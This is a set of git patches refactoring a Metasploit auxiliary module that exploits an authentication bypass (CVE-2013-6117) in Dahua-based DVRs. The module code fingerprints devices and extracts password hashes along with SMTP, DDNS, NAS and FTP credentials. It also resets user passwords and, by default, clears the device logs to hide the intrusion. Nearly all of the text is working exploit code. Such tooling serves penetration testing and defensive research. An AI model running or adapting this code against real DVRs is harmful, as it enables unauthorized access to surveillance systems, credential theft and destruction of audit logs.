From 753eddbbd66c0c8eb45d9cb23841f5b20d8a0545 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 14:53:27 -0800 Subject: [PATCH 1/8] Correct true/false for optional options, default values --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 23 ++++++++++--------- 1 file changed, 12 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 7bf72be05a..a7433984c9 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -17,20 +17,21 @@ class Metasploit3 < Msf::Auxiliary ], 'License' => MSF_LICENSE ) + deregister_options('RHOST') register_options([ - OptString.new('USERNAME', [true, 'A username to reset', '888888']), + OptString.new('USERNAME', [false, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), - OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']), - OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'FALSE']), - OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'FALSE']), - OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']), - OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']), - OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR', 'FALSE']), - OptBool.new('USER_INFO', ['true', 'Grabs the Users and hashes of the DVR', 'TRUE']), - OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']), - OptBool.new('RESET', [false, %q(Reset an existing user's pw?), 'FALSE']), - OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), 'TRUE']), + OptBool.new('VERSION_INFO', [true, 'Grabs the version of DVR', false]), + OptBool.new('EMAIL_INFO', [true, 'Grabs the email settings of the DVR', false]), + OptBool.new('DDNS_INFO', [true, 'Grabs the DDNS settings of the DVR', false]), + OptBool.new('SN_INFO', [true, 'Grabs the SN of the DVR', false]), + OptBool.new('CHANNEL_INFO', [true, 'Grabs the cameras and their assigned name', false]), + OptBool.new('NAS_INFO', [true, 'Grabs the NAS settings of the DVR', false]), + OptBool.new('USER_INFO', [true, 'Grabs the Users and hashes of the DVR', true]), + OptBool.new('GROUP_INFO', [true, 'Grabs the Users and groups of the DVR', false]), + OptBool.new('RESET', [true, %q(Reset an existing user's pw?), false]), + OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]), Opt::RPORT(37777) ]) end From 93cd3446dbe512ffdb4a61125853fd7ec3c5afe5 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:01:27 -0800 Subject: [PATCH 2/8] Minor cleanup of some print_ lines --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 20 +++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index a7433984c9..dd5ef43df5 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ ver = Regexp.last_match[1] - print_status("Version: #{ver} @ #{rhost}:#{rport}!") + print_good("#{peer} -- version: #{ver}") end end @@ -91,7 +91,7 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ serial = Regexp.last_match[1] - print_status("Serial Number: #{serial} @ #{rhost}:#{rport}!") + print_good("#{peer} -- serial number: #{serial}") end end @@ -185,7 +185,7 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once.split('&&') disconnect if data.length > 1 - print_status("Camera Channels @ #{rhost}:#{rport}!:") + print_good("#{peer} -- camera channels:") data.each_with_index { |val, index| print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}") } end end @@ -224,7 +224,7 @@ class Metasploit3 < Msf::Auxiliary connect sock.put(GROUPS) if data = sock.get_once.split('&&') - print_status("User Groups: @ #{rhost}:#{rport}!") + print_good("#{peer} -- groups:") data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end end @@ -243,14 +243,18 @@ class Metasploit3 < Msf::Auxiliary data = sock.get_once sock.put(u1) if data = sock.get_once - print_good("PASSWORD RESET!: user #{datastore['USERNAME']}'s password reset to #{datastore['PASSWORD']}! @ #{rhost}:#{rport}!") + print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") end end def clear_logs sock.put(CLEAR_LOGS1) sock.put(CLEAR_LOGS2) - print_good("LOGS CLEARED! @ #{rhost}:#{rport}") + print_good("#{peer} -- logs cleared") + end + + def peer + "#{rhost}:#{rport}" end def run_host(ip) @@ -262,9 +266,9 @@ class Metasploit3 < Msf::Auxiliary data = sock.recv(8) disconnect if data == DVR_RESP - print_good("DVR FOUND: @ #{rhost}:#{rport}!") + print_good("#{peer} -- Dahua-based DVR found") report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") - # needs boolean logic to run or not run + if datastore['VERSION_INFO'] grab_version end From 504f6874f2b9247cae6b0700ad972aa906ea1868 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:15:48 -0800 Subject: [PATCH 3/8] Convert to actions --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 97 ++++++++----------- 1 file changed, 42 insertions(+), 55 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index dd5ef43df5..d5a00be79e 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -15,22 +15,26 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2013-6117' ], [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ] ], - 'License' => MSF_LICENSE - ) + 'License' => MSF_LICENSE, + 'DefaultAction' => 'VERSION', + 'Actions' => + [ + [ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ], + [ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ], + [ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ], + [ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ], + [ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ], + [ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ], + [ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ], + [ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ], + [ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ] + ] + ) deregister_options('RHOST') register_options([ OptString.new('USERNAME', [false, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), - OptBool.new('VERSION_INFO', [true, 'Grabs the version of DVR', false]), - OptBool.new('EMAIL_INFO', [true, 'Grabs the email settings of the DVR', false]), - OptBool.new('DDNS_INFO', [true, 'Grabs the DDNS settings of the DVR', false]), - OptBool.new('SN_INFO', [true, 'Grabs the SN of the DVR', false]), - OptBool.new('CHANNEL_INFO', [true, 'Grabs the cameras and their assigned name', false]), - OptBool.new('NAS_INFO', [true, 'Grabs the NAS settings of the DVR', false]), - OptBool.new('USER_INFO', [true, 'Grabs the Users and hashes of the DVR', true]), - OptBool.new('GROUP_INFO', [true, 'Grabs the Users and groups of the DVR', false]), - OptBool.new('RESET', [true, %q(Reset an existing user's pw?), false]), OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]), Opt::RPORT(37777) ]) @@ -86,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary end end - def grab_sn + def grab_serial sock.put(SN) data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ @@ -258,55 +262,38 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - # user8pwhash = "4WzwxXxM" #888888 - # user6pwhash = "sh15yfFM" #666666 - # useradminpwhash = "6QNMIQGe" #admin - connect - sock.put(U1) - data = sock.recv(8) - disconnect - if data == DVR_RESP + begin + connect + sock.put(U1) + data = sock.recv(8) + disconnect + return unless data == DVR_RESP print_good("#{peer} -- Dahua-based DVR found") report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR") - if datastore['VERSION_INFO'] + case action.name.upcase + when 'CHANNEL' + grab_channels + when 'DDNS' + grab_ddns + when 'EMAIL' + grab_email + when 'GROUP' + grab_groups + when 'NAS' + grab_nas + when 'RESET' + reset_user + when 'SERIAL' + grab_serial + when 'USER' + grab_users + when 'VERSION' grab_version end - # needs boolean logic to run or not run - if datastore['SN_INFO'] - grab_sn - end - # needs boolean logic to run or not run - if datastore['EMAIL_INFO'] - grab_email - end - # needs boolean logic to run or not run - if datastore['DDNS_INFO'] - grab_ddns - end - # needs boolean logic to run or not run - if datastore['NAS_INFO'] - grab_nas - end - # needs boolean logic to run or not run - if datastore['CHANNEL_INFO'] - grab_channels - end - # needs boolean logic to run or not run - if datastore['USER_INFO'] - grab_users - end - # needs boolean logic to run or not run - if datastore['GROUP_INFO'] - grab_groups - end - if datastore['RESET'] - reset_user - end - if datastore['CLEAR_LOGS'] - clear_logs - end + clear_logs if datastore['CLEAR_LOGS'] + ensure disconnect end end From 98096ab71c2356e0723b5f3408c8ce4277f2cdc1 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:16:54 -0800 Subject: [PATCH 4/8] Remove useless assignment --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index d5a00be79e..458e8bd8cc 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -244,9 +244,9 @@ class Metasploit3 < Msf::Auxiliary sock.put(u1) sock.put(u2) sock.put(u3) - data = sock.get_once + sock.get_once sock.put(u1) - if data = sock.get_once + if sock.get_once print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}") end end From 6c319469959f32ad4c542874de38e665db85622b Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:19:35 -0800 Subject: [PATCH 5/8] Slightly simplify regex --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 458e8bd8cc..27d81debad 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -104,7 +104,7 @@ class Metasploit3 < Msf::Auxiliary sock.put(EMAIL) if data = sock.get_once.split('&&') print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?(?:\.[0-9A-Za-z](?:(?:[0-9A-Za-z]|-){0,61}[0-9A-Za-z])?)*\.?+:\d+)/ + if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i if mailhost = Regexp.last_match[1].split(':') print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? @@ -202,7 +202,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Za-z]+)[:]([0-9A-Za-z]+))/]}" + pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" value = pass.split(":") user = "#{value[1]}" md5hash = "#{value[2]}" From 7346c528cd35608fd46d6f83b50815c373b7acdf Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:21:06 -0800 Subject: [PATCH 6/8] Fix indentation --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index 27d81debad..bc08d2989c 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -110,17 +110,17 @@ class Metasploit3 < Msf::Auxiliary print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - mailport = "#{mailhost[1]}" - if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? - end + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" + if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? end + end end end end From 4b30a56f1577dcdd0cfbd8006338c7e953d838ad Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:22:27 -0800 Subject: [PATCH 7/8] Add a few missing connects --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index bc08d2989c..b276bdcad8 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -91,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary end def grab_serial + connect sock.put(SN) data = sock.get_once if data =~ /[\x00]{8,}([[:print:]]+)/ @@ -195,10 +196,10 @@ class Metasploit3 < Msf::Auxiliary end def grab_users - usercount = 0 connect sock.put(USERS) if data = sock.get_once.split('&&') + usercount = 0 print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") data.each do |val| usercount += 1 @@ -234,6 +235,7 @@ class Metasploit3 < Msf::Auxiliary end def reset_user + connect userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" @@ -252,6 +254,7 @@ class Metasploit3 < Msf::Auxiliary end def clear_logs + connect sock.put(CLEAR_LOGS1) sock.put(CLEAR_LOGS2) print_good("#{peer} -- logs cleared") From 72f7efd042e5c9222989a4ef3e271938eb349548 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 3 Dec 2015 15:39:27 -0800 Subject: [PATCH 8/8] Lots of style cleanup --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 176 +++++++++--------- 1 file changed, 87 insertions(+), 89 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index b276bdcad8..3baebc1b47 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -103,25 +103,24 @@ class Metasploit3 < Msf::Auxiliary def grab_email connect sock.put(EMAIL) - if data = sock.get_once.split('&&') - print_status("Email Settings: @ #{rhost}:#{rport}!") - if data[0] =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i - if mailhost = Regexp.last_match[1].split(':') - print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? - print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? - print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? - end - if !data[5].nil? && !data[6].nil? - print_good(" SMTP User: #{data[5]}") unless data[5].nil? - print_good(" SMTP Password: #{data[6]}") unless data[6].nil? - muser = "#{data[5]}" - mpass = "#{data[6]}" - mailserver = "#{mailhost[0]}" - mailport = "#{mailhost[1]}" - if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 - report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? - end - end + return unless (response = sock.get_once) + data = response.split('&&') + return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i + print_status("Email Settings: @ #{rhost}:#{rport}!") + if mailhost = Regexp.last_match[1].split(':') + print_status(" Server: #{mailhost[0]}") unless mailhost[0].nil? + print_status(" Server Port: #{mailhost[1]}") unless mailhost[1].nil? + print_status(" Destination Email: #{data[1]}") unless mailhost[1].nil? + end + if !data[5].nil? && !data[6].nil? + print_good(" SMTP User: #{data[5]}") unless data[5].nil? + print_good(" SMTP Password: #{data[6]}") unless data[6].nil? + muser = "#{data[5]}" + mpass = "#{data[6]}" + mailserver = "#{mailhost[0]}" + mailport = "#{mailhost[1]}" + if !mailserver.to_s.strip.length == 0 && !mailport.to_s.strip.length == 0 && !muser.to_s.strip.length == 0 && !mpass.to_s.strip.length == 0 + report_email_creds(mailserver, mailport, muser, mpass) if !mailserver.nil? && !mailport.nil? && !muser.nil? && !mpass.nil? end end end @@ -129,28 +128,26 @@ class Metasploit3 < Msf::Auxiliary def grab_ddns connect sock.put(DDNS) - if data = sock.get_once - data = data.split(/&&[0-1]&&/) - data.each_with_index do |val, index| - if index > 0 - val = val.split("&&") - ddns_service = "#{val[0]}" - ddns_server = "#{val[1]}" - ddns_port = "#{val[2]}" - ddns_domain = "#{val[3]}" - ddns_user = "#{val[4]}" - ddns_pass = "#{val[5]}" - print_status("DDNS Settings @ #{rhost}:#{rport}!:") - print_status(" DDNS Service: #{ddns_service}") - print_status(" DDNS Server: #{ddns_server}") - print_status(" DDNS Port: #{ddns_port}") - print_status(" Domain: #{ddns_domain}") - print_good(" Username: #{ddns_user}") - print_good(" Password: #{ddns_pass}") - if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 - report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) - end - end + return unless (response = sock.get_once) + data = response.split(/&&[0-1]&&/) + data.each_with_index do |val, index| + next if index == 0 + val = val.split("&&") + ddns_service = "#{val[0]}" + ddns_server = "#{val[1]}" + ddns_port = "#{val[2]}" + ddns_domain = "#{val[3]}" + ddns_user = "#{val[4]}" + ddns_pass = "#{val[5]}" + print_status("DDNS Settings @ #{rhost}:#{rport}!:") + print_status(" DDNS Service: #{ddns_service}") + print_status(" DDNS Server: #{ddns_server}") + print_status(" DDNS Port: #{ddns_port}") + print_status(" Domain: #{ddns_domain}") + print_good(" Username: #{ddns_user}") + print_good(" Password: #{ddns_pass}") + if !ddns_server.to_s.strip.length == 0 && !ddns_port.to_s.strip.length == 0 && !ddns_user.to_s.strip.length == 0 && !ddns_pass.to_s.strip.length == 0 + report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass) end end end @@ -158,28 +155,29 @@ class Metasploit3 < Msf::Auxiliary def grab_nas connect sock.put(NAS) - if data = sock.get_once - print_status("Nas Settings @ #{rhost}:#{rport}!:") - server = '' - port = '' - if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ - server = Regexp.last_match[1].unpack('C*').join('.') - port = Regexp.last_match[2].unpack('S') - print_status(" Nas Server #{server}") - print_status(" Nas Port: #{port}") - end - if data =~ /[\x00]{16,}(?[[:print:]]+)[\x00]{16,}(?[[:print:]]+)/ + return unless (data = sock.get_once) + print_status("Nas Settings @ #{rhost}:#{rport}!:") + server = '' + port = '' + if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/ + server = Regexp.last_match[1].unpack('C*').join('.') + port = Regexp.last_match[2].unpack('S') + print_status(" Nas Server #{server}") + print_status(" Nas Port: #{port}") + end + if /[\x00]{16,}(?[[:print:]]+)[\x00]{16,}(?[[:print:]]+)/ =~ data + ftpuser.strip! + ftppass.strip! + unless ftpuser.blank? || ftppass.blank? print_good(" FTP User: #{ftpuser}") print_good(" FTP Password: #{ftppass}") - if !ftpuser.to_s.strip.length == 0 && ftppass.to_s.strip.length == 0 - report_creds( - host: server, - port: port, - user: ftpuser, - pass: ftppass, - type: "FTP", - active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? - end + report_creds( + host: server, + port: port, + user: ftpuser, + pass: ftppass, + type: "FTP", + active: true) if !server.nil? && !port.nil? && !ftpuser.nil? && !ftppass.nil? end end end @@ -198,40 +196,40 @@ class Metasploit3 < Msf::Auxiliary def grab_users connect sock.put(USERS) - if data = sock.get_once.split('&&') - usercount = 0 - print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") - data.each do |val| - usercount += 1 - pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" - value = pass.split(":") - user = "#{value[1]}" - md5hash = "#{value[2]}" - print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") - # Write the dahua hash to the database - hash = "#{rhost} #{user}:$dahua$#{md5hash}" - report_hash(rhost, rport, user, hash) - # Write the vulnerability to the database - report_vuln( - host: rhost, - port: rport, - proto: 'tcp', - sname: 'dvr', - name: 'Dahua Authentication Password Hash Exposure', - info: "Obtained password hash for user #{user}: #{md5hash}", - refs: references - ) - end + return unless (response = sock.get_once) + data = response.split('&&') + usercount = 0 + print_status("Users\\Hashed Passwords\\Rights\\Description: @ #{rhost}:#{rport}!") + data.each do |val| + usercount += 1 + pass = "#{val[/(([\d]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i]}" + value = pass.split(":") + user = "#{value[1]}" + md5hash = "#{value[2]}" + print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}") + # Write the dahua hash to the database + hash = "#{rhost} #{user}:$dahua$#{md5hash}" + report_hash(rhost, rport, user, hash) + # Write the vulnerability to the database + report_vuln( + host: rhost, + port: rport, + proto: 'tcp', + sname: 'dvr', + name: 'Dahua Authentication Password Hash Exposure', + info: "Obtained password hash for user #{user}: #{md5hash}", + refs: references + ) end end def grab_groups connect sock.put(GROUPS) - if data = sock.get_once.split('&&') - print_good("#{peer} -- groups:") - data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } - end + return unless (response = sock.get_once) + data = response.split('&&') + print_good("#{peer} -- groups:") + data.each { |val| print_status(" #{val[/(([\d]+)[:]([\w]+))/]}") } end def reset_user